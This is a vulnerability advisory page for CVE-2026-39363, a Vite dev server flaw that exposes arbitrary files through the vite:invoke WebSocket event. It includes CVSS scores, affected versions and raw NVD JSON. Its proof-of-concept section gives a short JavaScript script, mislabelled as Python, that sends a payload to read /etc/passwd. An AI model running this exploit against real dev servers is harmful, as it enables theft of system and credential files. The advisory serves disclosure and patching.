Security Vulnerability Report
中文
CVE-2026-39363 CVSS 7.5 HIGH

CVE-2026-39363

Published: 2026-04-07 20:16:30
Last Modified: 2026-04-30 18:34:20

Description

Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, if it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "..."). The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:voidzero:vite\+:*:*:*:*:*:node.js:*:* - VULNERABLE
Vite >= 6.0.0, < 6.4.2
Vite >= 7.0.0, < 7.3.2
Vite >= 8.0.0, < 8.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const WebSocket = require('ws'); // Target Vite dev server address (default localhost:5173) const target = 'ws://localhost:5173'; const ws = new WebSocket(target); ws.on('open', function open() { console.log('[+] Connected to Vite Dev Server'); // Construct the malicious payload // Use 'file://' protocol to read local files and '?raw' to get content const payload = { event: 'vite:invoke', data: { path: 'file:///etc/passwd?raw' // Change path to target file } }; console.log('[*] Sending payload:', JSON.stringify(payload)); ws.send(JSON.stringify(payload)); }); ws.on('message', function message(data) { console.log('[+] Response received:'); console.log(data.toString()); ws.close(); }); ws.on('error', function error(err) { console.error('[-] Error:', err); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39363", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:30.000", "lastModified": "2026-04-30T18:34:19.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, if it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default \"...\"). The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.4.1", "matchCriteriaId": "FE1AE8AE-8504-4C45-A361-8EF1F8D573AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.3.1", "matchCriteriaId": "8D4169B2-49CC-4174-B1AB-2D61D3441617"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.4", "matchCriteriaId": "51F8A931-4520-4696-89C4-7F94228654F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:voidzero:vite\\+:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "0.1.15", "matchCriteriaId": "6C271AE4-5F12-4689-A8A9-CBCBD3C447DC"}]}]}], "references": [{"url": "https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}